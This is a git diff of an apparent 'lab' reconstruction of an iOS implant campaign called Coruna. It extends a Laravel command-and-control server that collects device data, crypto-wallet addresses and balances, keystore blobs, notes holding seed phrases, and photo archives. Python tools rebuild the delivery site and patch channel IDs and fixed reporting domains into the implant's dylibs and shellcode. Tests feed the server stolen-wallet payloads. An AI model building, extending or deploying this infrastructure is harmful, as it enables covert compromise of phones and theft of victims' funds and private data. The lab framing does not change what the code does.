diff --git a/README.md b/README.md index 5044383..cd7148f 100644 --- a/README.md +++ b/README.md @@ -5,11 +5,12 @@ ```text coruna-lab/ ├── source/ # 只读模板(campaign 原样,勿 patch) -│ ├── web/34f5121f572d6742703eb84ec2f866a6/ +│ ├── web// │ └── sync/ -├── web/… # 工作副本(由脚本从 source 复制后再 patch) -├── sync/ -├── out/seeds.json, domains.json +├── server/public/ +│ ├── web// # 每次 new_project 新增一个投递站 +│ ├── sync/ # 每次 new_project 重建(同域名内容一致) +│ └── out/{channel,seeds,domains}.json ├── doc/ ├── tools/ └── MANIFEST.json @@ -21,26 +22,23 @@ coruna-lab/ https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/ ``` -## 新建 / 刷新工作树(推荐) +## 新建项目(推荐) -从 `source/` 复制 `web` + `sync` 到 **`server/public/`**,再自动 `patch_all.py --apply`: +从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致: ```bash cd coruna-lab pip3 install py7zr pycryptodome -python3 tools/new_project.py -# 指定 seed / 固定域名: -python3 tools/new_project.py --deployment-seed … --reporting-seed … -python3 tools/new_project.py \ - --deployment-domains 'a.example,b.example' \ - --reporting-domains 'c.example,d.example' +/usr/bin/python3 tools/new_project.py \ + --deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \ + --reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' ``` -域名见 `server/public/out/domains.json`;入口由 Laravel/`server/public` 提供: +见 `server/public/out/channel.json` / `domains.json`;入口: ```text -https:///web/34f5121f572d6742703eb84ec2f866a6/support.html +https:///web//support.html https:///sync/daily.html ``` @@ -51,7 +49,7 @@ https:///sync/daily.html | [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` | | [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 | | [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 | -| [`tools/README.md`](tools/README.md) | 替换 seed、重建二级包/core、计算 DGA 域名 | +| [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 | ## 链路(极简) @@ -64,4 +62,5 @@ support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 - 来源索引:`MANIFEST.json` - 分析报告:`coruna-online/docs/` -- **不要**对 `source/` 跑 `--apply`;只改根目录 `web/` / `sync/` +- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web//` 与 `sync/` +- 工具细节见 [`tools/README.md`](tools/README.md) diff --git a/server/app/Http/Controllers/Admin/DeviceController.php b/server/app/Http/Controllers/Admin/DeviceController.php index 72da903..998f2f9 100644 --- a/server/app/Http/Controllers/Admin/DeviceController.php +++ b/server/app/Http/Controllers/Admin/DeviceController.php @@ -14,6 +14,7 @@ class DeviceController extends Controller { $filters = [ 'device_key' => trim((string) $request->query('device_key', '')), + 'channel_id' => trim((string) $request->query('channel_id', '')), 'model' => trim((string) $request->query('model', '')), 'ip' => trim((string) $request->query('ip', '')), 'ios' => trim((string) $request->query('ios', '')), @@ -26,6 +27,9 @@ class DeviceController extends Controller if ($filters['device_key'] !== '') { $q->where('device_id', 'like', '%'.$filters['device_key'].'%'); } + if ($filters['channel_id'] !== '') { + $q->where('channel_id', 'like', '%'.$filters['channel_id'].'%'); + } if ($filters['model'] !== '') { $q->where('device_model', 'like', '%'.$filters['model'].'%'); } diff --git a/server/app/Http/Controllers/C2/C2Controller.php b/server/app/Http/Controllers/C2/C2Controller.php index 6684716..3ecc5fb 100644 --- a/server/app/Http/Controllers/C2/C2Controller.php +++ b/server/app/Http/Controllers/C2/C2Controller.php @@ -107,7 +107,11 @@ class C2Controller extends Controller ?: $request->input('f'); $device = $this->ingest->upsertDevice( $request, - array_filter(['d' => $deviceKey]), + array_filter([ + 'd' => $deviceKey, + 'c' => $request->input('c'), + 'channel' => $request->input('channel'), + ]), $deviceKey ? (string) $deviceKey : null ); diff --git a/server/app/Models/Device.php b/server/app/Models/Device.php index b060f79..751f74a 100644 --- a/server/app/Models/Device.php +++ b/server/app/Models/Device.php @@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany; class Device extends Model { protected $fillable = [ - 'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', + 'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', ]; protected function casts(): array diff --git a/server/app/Services/IngestService.php b/server/app/Services/IngestService.php index 98d99c6..5e942d0 100644 --- a/server/app/Services/IngestService.php +++ b/server/app/Services/IngestService.php @@ -34,6 +34,40 @@ class IngestService return null; } + /** + * Campaign / channel id from reporting traffic. + * + * Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed). + * Fallback: `channel` (seen on /link/config/list alongside `c`). + */ + public function extractChannelId(Request $request, ?array $payload): ?string + { + $candidates = []; + if (is_array($payload)) { + if (isset($payload['form']) && is_array($payload['form'])) { + $candidates[] = $payload['form']['c'] ?? null; + $candidates[] = $payload['form']['channel'] ?? null; + } + $candidates[] = $payload['c'] ?? null; + $candidates[] = $payload['channel'] ?? null; + } + $candidates[] = $request->input('c'); + $candidates[] = $request->input('channel'); + + foreach ($candidates as $value) { + if (! is_string($value) || $value === '') { + continue; + } + $value = trim($value); + // HAR / implant: lowercase hex, typically 32 chars + if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) { + return strtolower(substr($value, 0, 64)); + } + } + + return null; + } + public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { $deviceKey ??= $this->extractDeviceKey($payload); @@ -43,6 +77,7 @@ class IngestService $deviceModel = $this->extractDeviceModel($payload); $ios = $this->extractIosVersion($payload); + $channelId = $this->extractChannelId($request, $payload); $ua = substr((string) $request->userAgent(), 0, 2000); $existing = Device::query()->where('device_id', $deviceKey)->first(); @@ -62,6 +97,11 @@ class IngestService } elseif ($existing) { $attrs['ios_version'] = $existing->ios_version; } + if ($channelId !== null) { + $attrs['channel_id'] = $channelId; + } elseif ($existing) { + $attrs['channel_id'] = $existing->channel_id; + } // created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps) $device = Device::query()->updateOrCreate( @@ -188,7 +228,10 @@ class IngestService return; } $rows = []; - if (isset($payload['data']) && is_array($payload['data'])) { + // HAR `/api/user/status`: ba = { "
": [ { balance, chainId, chainType, symbol, ... }, ... ] } + if (isset($payload['ba']) && is_array($payload['ba'])) { + $rows = $this->normalizeBaAddressRows($payload['ba']); + } elseif (isset($payload['data']) && is_array($payload['data'])) { $rows = $this->normalizeAddressRows($payload['data']); } elseif (isset($payload['result']) && is_array($payload['result'])) { $rows = $this->normalizeAddressRows($payload['result']); @@ -324,6 +367,10 @@ class IngestService if (is_string($sv) && $sv !== '') { return $sv; } + $info = $payload['deviceInfo'] ?? null; + if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) { + return $info['productVersion']; + } return null; } @@ -353,4 +400,42 @@ class IngestService return $out; } + + /** + * HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta). + * + * @param array $ba + * @return list> + */ + private function normalizeBaAddressRows(array $ba): array + { + $out = []; + foreach ($ba as $address => $assets) { + if (! is_string($address) || $address === '' || ! is_array($assets)) { + continue; + } + $list = array_values(array_filter($assets, 'is_array')); + if ($list === []) { + continue; + } + $primary = $list[0]; + foreach ($list as $asset) { + $bal = isset($asset['balance']) ? (string) $asset['balance'] : ''; + if ($bal !== '' && $bal !== '0') { + $primary = $asset; + break; + } + } + $chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? ''); + $out[] = [ + 'address' => $address, + 'chain' => $chain, + 'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null, + 'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null, + 'assets' => $list, + ]; + } + + return $out; + } } diff --git a/server/database/migrations/2026_08_05_000001_add_channel_id_to_devices.php b/server/database/migrations/2026_08_05_000001_add_channel_id_to_devices.php new file mode 100644 index 0000000..aa8a70b --- /dev/null +++ b/server/database/migrations/2026_08_05_000001_add_channel_id_to_devices.php @@ -0,0 +1,22 @@ +string('channel_id', 64)->nullable()->after('device_id')->index(); + }); + } + + public function down(): void + { + Schema::table('devices', function (Blueprint $table) { + $table->dropColumn('channel_id'); + }); + } +}; diff --git a/server/public/sync/daily.html b/server/public/sync/daily.html index 7bb38f6..e548eb9 100644 Binary files a/server/public/sync/daily.html and b/server/public/sync/daily.html differ diff --git a/server/public/sync/erupt_flee.js b/server/public/sync/erupt_flee.js index e859b87..5f767f9 100644 Binary files a/server/public/sync/erupt_flee.js and b/server/public/sync/erupt_flee.js differ diff --git a/server/resources/views/admin/devices/index.blade.php b/server/resources/views/admin/devices/index.blade.php index 52232b7..c0995a8 100644 --- a/server/resources/views/admin/devices/index.blade.php +++ b/server/resources/views/admin/devices/index.blade.php @@ -14,6 +14,12 @@ +
+ +
+ +
+
@@ -54,6 +60,7 @@ ID Device + Channel Model iOS IP @@ -67,6 +74,7 @@ {{ $d->id }} {{ $d->device_id }} + {{ $d->channel_id ?: '—' }} {{ $d->device_model ?: '—' }} {{ $d->ios_version ?: '—' }} {{ $d->ip ?: '—' }} @@ -75,7 +83,7 @@ 详情 @empty - 暂无设备 + 暂无设备 @endforelse diff --git a/server/resources/views/admin/devices/show.blade.php b/server/resources/views/admin/devices/show.blade.php index 4b6adb7..0681068 100644 --- a/server/resources/views/admin/devices/show.blade.php +++ b/server/resources/views/admin/devices/show.blade.php @@ -13,14 +13,18 @@ Device {{ $device->device_id }} - Model - {{ $device->device_model ?: '—' }} + Channel + {{ $device->channel_id ?: '—' }} + Model + {{ $device->device_model ?: '—' }} iOS {{ $device->ios_version ?: '—' }} + + IP - {{ $device->ip ?: '—' }} + {{ $device->ip ?: '—' }} User-Agent diff --git a/server/tests/Feature/C2ApiTest.php b/server/tests/Feature/C2ApiTest.php index ddedb0a..9fe6adf 100644 --- a/server/tests/Feature/C2ApiTest.php +++ b/server/tests/Feature/C2ApiTest.php @@ -6,10 +6,14 @@ use App\Models\Admin; use App\Models\Device; use App\Models\DeviceApp; use App\Models\DeviceEvent; +use App\Models\Note; +use App\Models\Photo; use App\Models\Wallet; use App\Models\WalletAddress; use App\Services\CorunaCrypto; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Http\UploadedFile; +use Illuminate\Support\Facades\Storage; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -30,6 +34,7 @@ class C2ApiTest extends TestCase { $crypto = new CorunaCrypto; $payload = [ + 'c' => '34f5121f572d6742703eb84ec2f866a6', 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'deviceModel' => 'iPhone9,1', @@ -58,6 +63,7 @@ class C2ApiTest extends TestCase $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); + $this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id); $this->assertSame('15.8.4', $device->ios_version); $this->assertSame('iPhone9,1', $device->device_model); $this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent); @@ -179,6 +185,164 @@ class C2ApiTest extends TestCase $this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile)); } + #[Test] + public function status_ingests_har_shaped_ba_address_map(): void + { + $crypto = new CorunaCrypto; + $ts = '1722585600888'; + $enc = $crypto->encryptJson([ + 'd' => 'dev-ba-1', + 'a' => 'tp', + 'ba' => [ + 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [ + [ + 'balance' => '0', + 'chainId' => '10', + 'chainType' => 'tron', + 'decimal' => '6', + 'name' => 'Tether USD', + 'symbol' => 'USDT', + ], + [ + 'balance' => '12.5', + 'chainId' => '10', + 'chainType' => 'tron', + 'decimal' => '6', + 'name' => 'TRON', + 'symbol' => 'TRX', + ], + ], + ], + ], $ts); + + $this->call('POST', '/api/user/status', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + + $device = Device::query()->where('device_id', 'dev-ba-1')->first(); + $this->assertNotNull($device); + $addr = WalletAddress::query() + ->where('device_id', $device->id) + ->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6') + ->first(); + $this->assertNotNull($addr); + $this->assertSame('tron', $addr->chain); + $this->assertSame('12.5', $addr->balance); + $this->assertSame('TRX', $addr->symbol); + $this->assertCount(2, $addr->meta_json['assets'] ?? []); + } + + #[Test] + public function avatar_status_stores_keystore_blob_as_wallet_raw(): void + { + $crypto = new CorunaCrypto; + $ts = '1722585600999'; + $enc = $crypto->encryptJson([ + 'd' => 'dev-ks-1', + 'a' => 'im', + 'result' => [ + 'crypto' => [ + 'cipher' => 'aes-128-ctr', + 'ciphertext' => 'deadbeef', + 'kdf' => 'pbkdf2', + 'mac' => 'cafebabe', + ], + 'identity' => ['encKey' => 'aa'], + ], + ], $ts); + + $this->call('POST', '/api/user/avatar/status', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + + $device = Device::query()->where('device_id', 'dev-ks-1')->first(); + $this->assertNotNull($device); + $wallet = Wallet::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($wallet); + $this->assertNull($wallet->mnemonic); + $this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null); + } + + #[Test] + public function avatar_pic_ingests_notes(): void + { + $crypto = new CorunaCrypto; + $ts = '1722585601111'; + $enc = $crypto->encryptJson([ + 'd' => 'dev-notes-1', + 'notes' => [ + ['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'], + ['name' => 'shopping', 'text' => 'milk'], + ], + ], $ts); + + $this->call('POST', '/api/user/avatar/pic', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + + $device = Device::query()->where('device_id', 'dev-notes-1')->first(); + $this->assertNotNull($device); + $this->assertSame(2, Note::query()->where('device_id', $device->id)->count()); + $first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first(); + $this->assertNotNull($first); + $this->assertStringContainsString('abandon', (string) $first->body); + } + + #[Test] + public function check_extracts_photo_archive_and_stores_file(): void + { + Storage::fake('local'); + $crypto = new CorunaCrypto; + $tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid(); + mkdir($tmp); + $jpegPath = $tmp.'/hit.jpg'; + // minimal JPEG SOI/EOI + file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); + $archivePath = $tmp.'/capture.7z'; + $password = $crypto->archivePassword('0'); + $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') + ? '/opt/homebrew/opt/p7zip/bin/7z' + : '7z'; + $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) + .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; + exec($cmd, $out, $code); + $this->assertSame(0, $code, implode("\n", $out)); + $this->assertFileExists($archivePath); + + $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); + $resp = $this->call( + 'POST', + '/api/user/check', + [ + 'd' => 'dev-photo-1', + 'f' => 'dev-photo-1', + 'batchBase' => '0', + 'count' => '1', + 'total' => '1', + 'index' => '0', + ], + [], + ['file' => $upload], + ['CONTENT_TYPE' => 'multipart/form-data'] + ); + $resp->assertOk(); + + $device = Device::query()->where('device_id', 'dev-photo-1')->first(); + $this->assertNotNull($device); + $photo = Photo::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($photo); + $this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256); + $this->assertSame(4, $photo->size); + Storage::disk('local')->assertExists($photo->path); + + @unlink($jpegPath); + @unlink($archivePath); + @rmdir($tmp); + } + #[Test] public function admin_guest_is_redirected_to_admin_login(): void { diff --git a/tools/README.md b/tools/README.md index c4abe3b..44e596c 100644 --- a/tools/README.md +++ b/tools/README.md @@ -1,100 +1,98 @@ -# coruna-lab 工具:DGA seed / 固定域名 +# coruna-lab 工具:channel id / 固定域名 -## 推荐:固定域名列表(多域名探测) +## 推荐:`new_project.py`(新 channel + 固定域名) -植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改: +每次运行都会: -- core(`erupt_flee.js` + `daily.html` 的 sha256/size) -- 全部 type0x01 二级包(10 个 `.min.js`) +1. 自动生成 **32 hex** channel id(或 `--channel-id`) +2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/` +3. 从 `source/sync` 重置并重建 `sync/`(固定域名写入 core / `daily.html`) +4. 写入固定域名 + channel,重打包全部 type0x01 二级包 + +**无 reuse-sync / 无改 seed 参数。** seed 由域名列表确定性推导;`daily.html`/`erupt_flee.js` 经内容缓存消除 py7zr 随机 salt,相同域名多次构建 → `sync/` 字节一致,仅 `web//` 因 channel 不同。旧版备份:`tools/new_project.py.bak`。 ```bash cd coruna-lab # 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv) pip3 install py7zr pycryptodome -python3 tools/new_project.py \ +/usr/bin/python3 tools/new_project.py \ --deployment-domains 'www.dep1.example,www.dep2.example' \ - --reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example' + --reporting-domains 'www.rep1.example,www.rep2.example' ``` -也支持重复传参: +也支持重复传参 / 指定 channel: ```bash -python3 tools/new_project.py \ +/usr/bin/python3 tools/new_project.py \ + --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --deployment-domains www.dep1.example \ --deployment-domains www.dep2.example \ --reporting-domains www.rep1.example \ --reporting-domains www.rep2.example ``` -产物(`new_project.py` 写入 `server/public/`): +产物(写入 `server/public/`): -- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供 -- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配) -- `server/public/out/domains.json` — 最终生效的域名列表 +- `server/public/web//` — 投递站(可并存多个 channel) +- `server/public/sync/` — 每次重建(同域名则内容一致) +- `server/public/out/channel.json` — 本次 channel +- `server/public/out/domains.json` — 固定域名列表 +- `server/public/out/seeds.json` — 由域名推导的内部 seed - `server/public/out/sync/MANIFEST.json` — core sha/size + domains 约束: +- channel id:**恰好 32** 个小写十六进制字符(与 type-0x01 C 字符串槽位同宽) - 每池最多 **8** 个域名,单域名 ≤ 63 ASCII - 可写 `https://host`(会自动去掉 scheme/path/port) - 部署后把这些域名 DNS/hosts 指到你的 lab server(443) - Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK` - `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求 -- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/` +- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新生成后再部署 - macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto` --- -## 仅重建(已有 server/public web/sync) +## 仅重建(已有 server/public) ```bash -# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份 -python3 tools/patch_all.py --apply --root server/public \ +# 自动生成 channel;若尚无 web// + sync/,会从 source/ 复制 +/usr/bin/python3 tools/patch_all.py --apply --root server/public \ + --channel-id 'dddddddddddddddddddddddddddddddd' \ --deployment-domains 'www.dep1.example,www.dep2.example' \ --reporting-domains 'www.rep1.example,www.rep2.example' ``` ---- - -## 旧模式:只换 DGA seed(算域名) - -不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。 - -```bash -python3 tools/new_project.py -# 或 -python3 tools/new_project.py \ - --deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \ - --reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96 -``` +域名未变、只要新 channel 时用 `new_project.py`(会复用 `out/seeds.json` + 现有 `sync/`)。 ### Seed 格式 - ASCII,长度 ≤ 32(二进制槽位定长 32) - 推荐正好 32 个十六进制字符 -- Deployment / Reporting 各一个 +- Deployment / Reporting 各一个;域名未变时 `new_project` 会自动复用上次 seed --- ## 分步脚本 ```bash -# 二级包 type0x01 -python3 tools/patch_secondary_packs.py \ +# 二级包 type0x01(含 channel) +/usr/bin/python3 tools/patch_secondary_packs.py \ --deployment-seed <32hex> --reporting-seed <32hex> \ + --channel-id <32hex> \ --deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \ - --root . --apply + --root server/public --apply # core + daily 校验 -python3 tools/patch_core.py \ +/usr/bin/python3 tools/patch_core.py \ --deployment-seed <32hex> --reporting-seed <32hex> \ --deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \ - --root . --apply + --root server/public --apply # 只算 DGA 域名(固定域名模式不需要) -python3 tools/compute_dga_domains.py \ +/usr/bin/python3 tools/compute_dga_domains.py \ --deployment-seed <32hex> --reporting-seed <32hex> -n 5 ``` -源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。 +源 dylib 仍读自 `coruna-online/`;`--apply` 写入 `server/public/web//` + `sync/`(不会写 `source/`)。 diff --git a/tools/_channel_patch.py b/tools/_channel_patch.py new file mode 100644 index 0000000..c42a930 --- /dev/null +++ b/tools/_channel_patch.py @@ -0,0 +1,74 @@ +"""Patch campaign / channel id embedded in type-0x01 secondary dylibs.""" + +from __future__ import annotations + +import re +import secrets + +# C-string keys immediately before the channel value in type-0x01 __cstring. +CHANNEL_ANCHOR = b"u\x00d\x00f\x00s\x00c\x00" +CHANNEL_LEN = 32 +_CHANNEL_RE = re.compile(rb"^[0-9a-f]{32}$") + + +def gen_channel_id() -> str: + """32 lowercase hex chars (same width as campaign slot).""" + return secrets.token_hex(16) + + +def validate_channel_id(value: str, *, name: str = "--channel-id") -> str: + if not isinstance(value, str) or not _CHANNEL_RE.fullmatch(value.encode("ascii")): + raise SystemExit( + f"{name} must be exactly {CHANNEL_LEN} lowercase hex chars " + f"(got {value!r})" + ) + return value + + +def find_channel_offsets(data: bytes, *, expect_old: bytes | None = None) -> list[int]: + """Return offsets of the 32-byte channel value after CHANNEL_ANCHOR.""" + offsets: list[int] = [] + start = 0 + while True: + index = data.find(CHANNEL_ANCHOR, start) + if index < 0: + break + value_at = index + len(CHANNEL_ANCHOR) + value = data[value_at : value_at + CHANNEL_LEN] + if ( + len(value) == CHANNEL_LEN + and _CHANNEL_RE.fullmatch(value) + and data[value_at + CHANNEL_LEN : value_at + CHANNEL_LEN + 1] == b"\x00" + ): + if expect_old is None or value == expect_old: + offsets.append(value_at) + start = index + 1 + return offsets + + +def patch_channel_in_dylib( + data: bytes, + new_channel: str, + *, + old_channel: str | None = None, + expect_hits: int = 1, + label: str = "dylib", +) -> bytes: + """In-place replace channel C-string (must stay {CHANNEL_LEN} bytes).""" + new_channel = validate_channel_id(new_channel, name="channel") + new_b = new_channel.encode("ascii") + old_b = old_channel.encode("ascii") if old_channel else None + if old_b is not None: + validate_channel_id(old_channel, name="old channel") + + offsets = find_channel_offsets(data, expect_old=old_b) + if len(offsets) != expect_hits: + raise SystemExit( + f"{label}: channel anchor hits={len(offsets)} (want {expect_hits}). " + "Secondary payload layout may have changed; re-adapt _channel_patch." + ) + + buf = bytearray(data) + for offset in offsets: + buf[offset : offset + CHANNEL_LEN] = new_b + return bytes(buf) diff --git a/tools/_common.py b/tools/_common.py index d4d14c8..c98aaf3 100644 --- a/tools/_common.py +++ b/tools/_common.py @@ -13,7 +13,9 @@ MODULE_HUNT = ONLINE_ROOT / "module_hunt" if str(MODULE_HUNT) not in sys.path: sys.path.insert(0, str(MODULE_HUNT)) -CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6" +# Campaign / channel id embedded in type-0x01 (also source/web// dirname). +ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" +CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden) # Campaign originals (current seeds embedded in type-0x01 + core) ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6" @@ -27,6 +29,7 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii") _TREE_ROOT = SOURCE_ROOT CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH SYNC_DIR = _TREE_ROOT / "sync" +SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID C2_FETCH = ONLINE_ROOT / "c2_fetch" CORE_DYLIB = ( @@ -53,25 +56,51 @@ def tree_root() -> Path: return _TREE_ROOT -def set_tree_root(root: Path) -> Path: - """Point CAMPAIGN_DIR / SYNC_DIR at root/web/... and root/sync.""" +def campaign_id() -> str: + return CAMPAIGN_HASH + + +def set_campaign_id(channel: str) -> str: + """Point CAMPAIGN_DIR at web// under the current tree root.""" + global CAMPAIGN_HASH, CAMPAIGN_DIR + from _channel_patch import validate_channel_id + + CAMPAIGN_HASH = validate_channel_id(channel, name="channel id") + CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH + return CAMPAIGN_HASH + + +def set_tree_root(root: Path, *, channel: str | None = None) -> Path: + """Point CAMPAIGN_DIR / SYNC_DIR at root/web// and root/sync.""" global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR root = root.resolve() _TREE_ROOT = root - CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH + if channel is not None: + set_campaign_id(channel) + else: + CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH SYNC_DIR = root / "sync" return root -def ensure_tree_layout(root: Path) -> None: - camp = root / "web" / CAMPAIGN_HASH +def ensure_tree_layout( + root: Path, + *, + channel: str | None = None, + require_campaign: bool = True, +) -> None: + cid = channel or CAMPAIGN_HASH + camp = root / "web" / cid sync = root / "sync" - if not camp.is_dir() or not sync.is_dir(): + missing = [] + if require_campaign and not camp.is_dir(): + missing.append(f"web/{cid}/") + if not sync.is_dir(): + missing.append("sync/") + if missing: raise SystemExit( - f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n" + f"missing working tree under {root} (need {', '.join(missing)}).\n" f"Run first:\n" - f" python3 tools/new_project.py --skip-patch\n" - f"or directly:\n" f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'" ) diff --git a/tools/new_project.py b/tools/new_project.py index 69c8a22..8f8c5bd 100644 --- a/tools/new_project.py +++ b/tools/new_project.py @@ -1,19 +1,33 @@ #!/usr/bin/env python3 -"""Reset server/public web/ + sync/ from source/, then patch_all --apply.""" +"""Build server/public campaign trees: new channel + fixed domains. + +Seeds are derived deterministically from the domain lists (not user-facing). +Same domains → same sync/ and same secondary domain patch; only channel differs. + +Each run: + - creates web// + - rebuilds sync/ from source + fixed-domain patch + - leaves other web// dirs intact +""" from __future__ import annotations import argparse +import hashlib +import json import shutil import subprocess import sys from pathlib import Path +from _channel_patch import gen_channel_id, validate_channel_id +from _domain_patch import parse_domain_list + TOOLS = Path(__file__).resolve().parent LAB_ROOT = TOOLS.parent SOURCE_ROOT = LAB_ROOT / "source" APPLY_ROOT = LAB_ROOT / "server" / "public" -CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6" +ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" def _ignore_junk(_dir: str, names: list[str]) -> set[str]: @@ -27,105 +41,156 @@ def replace_tree(src: Path, dst: Path) -> None: shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) +def copy_campaign_template(dst_campaign: Path) -> None: + src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID + if not src.is_dir(): + raise SystemExit(f"missing source campaign: {src}") + if dst_campaign.exists(): + raise SystemExit(f"campaign already exists: {dst_campaign}") + shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk) + + +def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]: + """32-hex seeds stable for a given ordered domain list (pool slots still need seeds).""" + + def one(label: str, domains: list[str]) -> str: + material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains) + return hashlib.sha256(material).hexdigest()[:32] + + dep_seed = one("deployment", dep) + rep_seed = one("reporting", rep) + if dep_seed == rep_seed: + rep_seed = one("reporting/alt", rep) + return dep_seed, rep_seed + + +def pick_channel(explicit: str | None, web_root: Path) -> str: + channel = validate_channel_id(explicit) if explicit else gen_channel_id() + while (web_root / channel).exists(): + if explicit: + raise SystemExit(f"web/{channel} already exists; choose another --channel-id") + channel = gen_channel_id() + return channel + + +def run(cmd: list[str]) -> None: + print("+", " ".join(cmd), flush=True) + subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) + + def main() -> int: parser = argparse.ArgumentParser( description=( - "Copy source/web + source/sync to server/public, then run " - "patch_all.py --apply --root server/public." + "From source/, create server/public/web// with fixed " + "Deployment/Reporting domains. Seeds are derived from domains " + "(no --*-seed / no reuse-sync shortcut)." ) ) parser.add_argument( - "--deployment-seed", - help="optional; forwarded to patch_all (default: random)", - ) - parser.add_argument( - "--reporting-seed", - help="optional; forwarded to patch_all (default: random)", + "--channel-id", + help="optional 32-hex channel id (default: random, unique under web/)", ) parser.add_argument( "--deployment-domains", action="append", default=[], + required=True, help="fixed Deployment hosts 